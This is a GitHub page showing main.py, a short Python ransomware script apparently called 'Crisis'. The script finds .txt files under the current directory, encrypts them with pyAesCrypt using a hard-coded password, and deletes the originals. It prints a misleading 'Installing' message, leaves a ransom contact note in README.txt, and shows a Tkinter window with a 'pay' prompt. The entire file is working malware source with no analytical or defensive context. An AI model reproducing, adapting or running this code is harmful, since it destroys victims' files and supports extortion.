-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathmain.py
More file actions
81 lines (56 loc) · 1.79 KB
/
main.py
File metadata and controls
81 lines (56 loc) · 1.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from tkinter import *
from tkinter import Tk
from tkinter import messagebox
import pyAesCrypt
import os
from os import stat, remove
from shutil import *
from os import listdir
import os.path
#import hashlib
from sys import *
bufferSize = 64 * 1024
password = "foopassword"
path = '.'
files = []
for r, d, f in os.walk(path):
for file in f:
if '.txt' in file:
files.append(os.path.join(r, file))
#dirName = 'C:/Yourfile'
#if not os.path.exists(dirName):
#os.mkdir(dirName)
#print("Directory " , dirName , " Created ")
print("Installing...wait")
for f in files:
with open(f, "rb") as fIn:
with open(f+".crisis", "wb") as fOut:
pyAesCrypt.encryptStream(fIn, fOut, password, bufferSize)
#copy(f+".crisis", dirName)
#path1 = 'C:/Users/yama-/Desktop/Yourfile'
#files1 = []
#for file in files:
dir_name = '.'
test = os.listdir(dir_name)
for item in test:
if item.endswith(".txt"):
os.remove(os.path.join(dir_name, item))
f = open("README.txt", "a")
f.write("For more information you can contact us in Crisis@exemple.exemple")
f.close()
print("Done")
root=Tk()
canvas1 = Canvas(root, width=1380, height=700)
canvas1.pack()
img = PhotoImage(file="2.ppm")
canvas1.create_image(20,20, anchor=NW, image=img)
def ExitApplication():
MsgBox = messagebox.askquestion('pay', 'Are you sure you want to exit the application',
icon='warning')
if MsgBox == 'yes':
root.destroy()
else:
messagebox.showinfo('Return', 'You will now return to the application screen')
button1 = Button(root, text=' EXIT ', command=ExitApplication )
canvas1.create_window(650, 650, window=button1)
root.mainloop()